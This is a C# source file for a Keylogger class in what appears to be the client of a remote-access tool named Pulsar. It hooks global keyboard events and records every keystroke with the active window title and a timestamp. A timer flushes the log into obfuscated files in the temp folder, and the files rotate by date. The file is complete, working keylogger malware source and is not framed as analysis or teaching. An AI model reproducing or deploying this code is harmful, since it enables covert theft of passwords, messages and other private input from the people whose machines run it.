272 lines
8.2 KiB
C#
272 lines
8.2 KiB
C#
using Gma.System.MouseKeyHook;
|
||
using Pulsar.Client.Extensions;
|
||
using Pulsar.Client.Helper;
|
||
using Pulsar.Common.Helpers;
|
||
using System;
|
||
using System.Collections.Generic;
|
||
using System.Diagnostics;
|
||
using System.IO;
|
||
using System.Text;
|
||
using System.Timers;
|
||
using System.Windows.Forms;
|
||
using Timer = System.Timers.Timer;
|
||
|
||
namespace Pulsar.Client.Logging
|
||
{
|
||
public class Keylogger : IDisposable
|
||
{
|
||
private readonly long _maxLogFileSize;
|
||
private readonly Timer _flushTimer;
|
||
private readonly object _syncLock = new object();
|
||
private readonly StringBuilder _currentBuffer = new StringBuilder();
|
||
private readonly IKeyboardMouseEvents _events;
|
||
|
||
private string _currentWindow = string.Empty;
|
||
private DateTime _lastWindowChange = DateTime.UtcNow;
|
||
private string _logFilePath;
|
||
private bool _isFirstWrite = true;
|
||
private readonly TimeSpan _windowChangeThreshold = TimeSpan.FromSeconds(1);
|
||
public bool IsDisposed { get; private set; }
|
||
|
||
public Keylogger(double flushInterval, long maxLogFileSize)
|
||
{
|
||
_maxLogFileSize = maxLogFileSize;
|
||
_events = Hook.GlobalEvents();
|
||
_logFilePath = GetLogFilePath();
|
||
|
||
_flushTimer = new Timer(flushInterval);
|
||
_flushTimer.Elapsed += TimerElapsed;
|
||
_flushTimer.AutoReset = true;
|
||
}
|
||
|
||
public void Start()
|
||
{
|
||
Subscribe();
|
||
_flushTimer.Start();
|
||
}
|
||
|
||
private void Subscribe()
|
||
{
|
||
_events.KeyDown += OnKeyDown;
|
||
_events.KeyPress += OnKeyPress;
|
||
}
|
||
|
||
private void Unsubscribe()
|
||
{
|
||
_events.KeyDown -= OnKeyDown;
|
||
_events.KeyPress -= OnKeyPress;
|
||
}
|
||
|
||
private void OnKeyDown(object sender, KeyEventArgs e)
|
||
{
|
||
string newWindow = NativeMethodsHelper.GetForegroundWindowTitle() ?? "Unknown Window";
|
||
|
||
lock (_syncLock)
|
||
{
|
||
bool windowChanged = newWindow != _currentWindow;
|
||
bool enoughTimePassed = DateTime.UtcNow - _lastWindowChange > _windowChangeThreshold;
|
||
|
||
// Check if window changed significantly
|
||
if (windowChanged && enoughTimePassed)
|
||
{
|
||
_currentWindow = newWindow;
|
||
_lastWindowChange = DateTime.UtcNow;
|
||
|
||
// Start a fresh line for the new window
|
||
if (_currentBuffer.Length > 0 && !_currentBuffer.ToString().EndsWith(Environment.NewLine))
|
||
_currentBuffer.AppendLine();
|
||
|
||
// Append window header cleanly
|
||
_currentBuffer.AppendLine($"[{DateTime.UtcNow:HH:mm:ss}] {newWindow}");
|
||
}
|
||
|
||
HandleSpecialKey(e);
|
||
}
|
||
}
|
||
|
||
private void HandleSpecialKey(KeyEventArgs e)
|
||
{
|
||
switch (e.KeyCode)
|
||
{
|
||
case Keys.Enter:
|
||
_currentBuffer.AppendLine();
|
||
break;
|
||
case Keys.Back:
|
||
HandleBackspace();
|
||
break;
|
||
case Keys.Space:
|
||
_currentBuffer.Append(' ');
|
||
break;
|
||
case Keys.Tab:
|
||
_currentBuffer.Append("\t");
|
||
break;
|
||
case Keys.Escape:
|
||
_currentBuffer.Append("[Esc]");
|
||
break;
|
||
case Keys.Delete:
|
||
_currentBuffer.Append("[Del]");
|
||
break;
|
||
case Keys.Up:
|
||
case Keys.Down:
|
||
case Keys.Left:
|
||
case Keys.Right:
|
||
// Ignore arrow keys to reduce noise
|
||
break;
|
||
case Keys.LControlKey:
|
||
case Keys.RControlKey:
|
||
case Keys.LShiftKey:
|
||
case Keys.RShiftKey:
|
||
case Keys.LMenu:
|
||
case Keys.RMenu:
|
||
case Keys.LWin:
|
||
case Keys.RWin:
|
||
// Ignore modifier keys alone
|
||
break;
|
||
default:
|
||
// Log function keys
|
||
if (e.KeyCode >= Keys.F1 && e.KeyCode <= Keys.F24)
|
||
{
|
||
_currentBuffer.Append($"[{e.KeyCode}]");
|
||
}
|
||
break;
|
||
}
|
||
}
|
||
|
||
private void HandleBackspace()
|
||
{
|
||
if (_currentBuffer.Length > 0)
|
||
{
|
||
// Remove last character if it's not part of a window header
|
||
char lastChar = _currentBuffer[_currentBuffer.Length - 1];
|
||
if (lastChar != '\n' && lastChar != '\r' && lastChar != ']')
|
||
{
|
||
_currentBuffer.Length--;
|
||
}
|
||
}
|
||
}
|
||
|
||
private void OnKeyPress(object sender, KeyPressEventArgs e)
|
||
{
|
||
lock (_syncLock)
|
||
{
|
||
if (!char.IsControl(e.KeyChar))
|
||
_currentBuffer.Append(e.KeyChar);
|
||
else if (e.KeyChar == '\r') // Enter key
|
||
_currentBuffer.AppendLine();
|
||
}
|
||
}
|
||
|
||
private void TimerElapsed(object sender, ElapsedEventArgs e)
|
||
{
|
||
try
|
||
{
|
||
FlushToFile();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Debug.WriteLine($"Keylogger flush error: {ex.Message}");
|
||
}
|
||
}
|
||
|
||
private void FlushToFile()
|
||
{
|
||
lock (_syncLock)
|
||
{
|
||
if (_currentBuffer.Length == 0) return;
|
||
|
||
string contentToWrite = _currentBuffer.ToString();
|
||
_currentBuffer.Clear();
|
||
|
||
WriteToFile(contentToWrite);
|
||
}
|
||
}
|
||
|
||
private void WriteToFile(string content)
|
||
{
|
||
if (string.IsNullOrWhiteSpace(content)) return;
|
||
|
||
try
|
||
{
|
||
// Write using the obfuscated log helper (handles compression + framing)
|
||
FileHelper.WriteObfuscatedLogFile(_logFilePath, content + Environment.NewLine);
|
||
|
||
// Check file size
|
||
FileInfo info = new FileInfo(_logFilePath);
|
||
if (info.Length > _maxLogFileSize)
|
||
{
|
||
RotateLogFile();
|
||
}
|
||
|
||
_isFirstWrite = false; // mark that we’ve written at least once
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Debug.WriteLine($"Log file write error: {ex.Message}");
|
||
}
|
||
}
|
||
|
||
private void RotateLogFile()
|
||
{
|
||
try
|
||
{
|
||
string baseName = DateTime.UtcNow.ToString("yyyy-MM-dd");
|
||
string basePath = Path.Combine(Path.GetTempPath(), baseName);
|
||
string newFilePath = basePath + ".txt";
|
||
|
||
int counter = 1;
|
||
while (File.Exists(newFilePath))
|
||
{
|
||
newFilePath = $"{basePath}_{counter:00}.txt";
|
||
counter++;
|
||
}
|
||
|
||
_logFilePath = newFilePath;
|
||
_isFirstWrite = true;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Debug.WriteLine($"Log rotation error: {ex.Message}");
|
||
}
|
||
}
|
||
|
||
private string GetLogFilePath()
|
||
{
|
||
return Path.Combine(Path.GetTempPath(), DateTime.UtcNow.ToString("yyyy-MM-dd") + ".txt");
|
||
}
|
||
|
||
public void FlushImmediately()
|
||
{
|
||
FlushToFile();
|
||
}
|
||
|
||
public void Dispose()
|
||
{
|
||
Dispose(true);
|
||
GC.SuppressFinalize(this);
|
||
}
|
||
|
||
protected virtual void Dispose(bool disposing)
|
||
{
|
||
if (IsDisposed) return;
|
||
|
||
if (disposing)
|
||
{
|
||
try
|
||
{
|
||
FlushToFile();
|
||
Unsubscribe();
|
||
_flushTimer.Stop();
|
||
_flushTimer.Dispose();
|
||
_events.Dispose();
|
||
_currentBuffer.Clear();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Debug.WriteLine($"Dispose error: {ex.Message}");
|
||
}
|
||
}
|
||
|
||
IsDisposed = true;
|
||
}
|
||
}
|
||
} |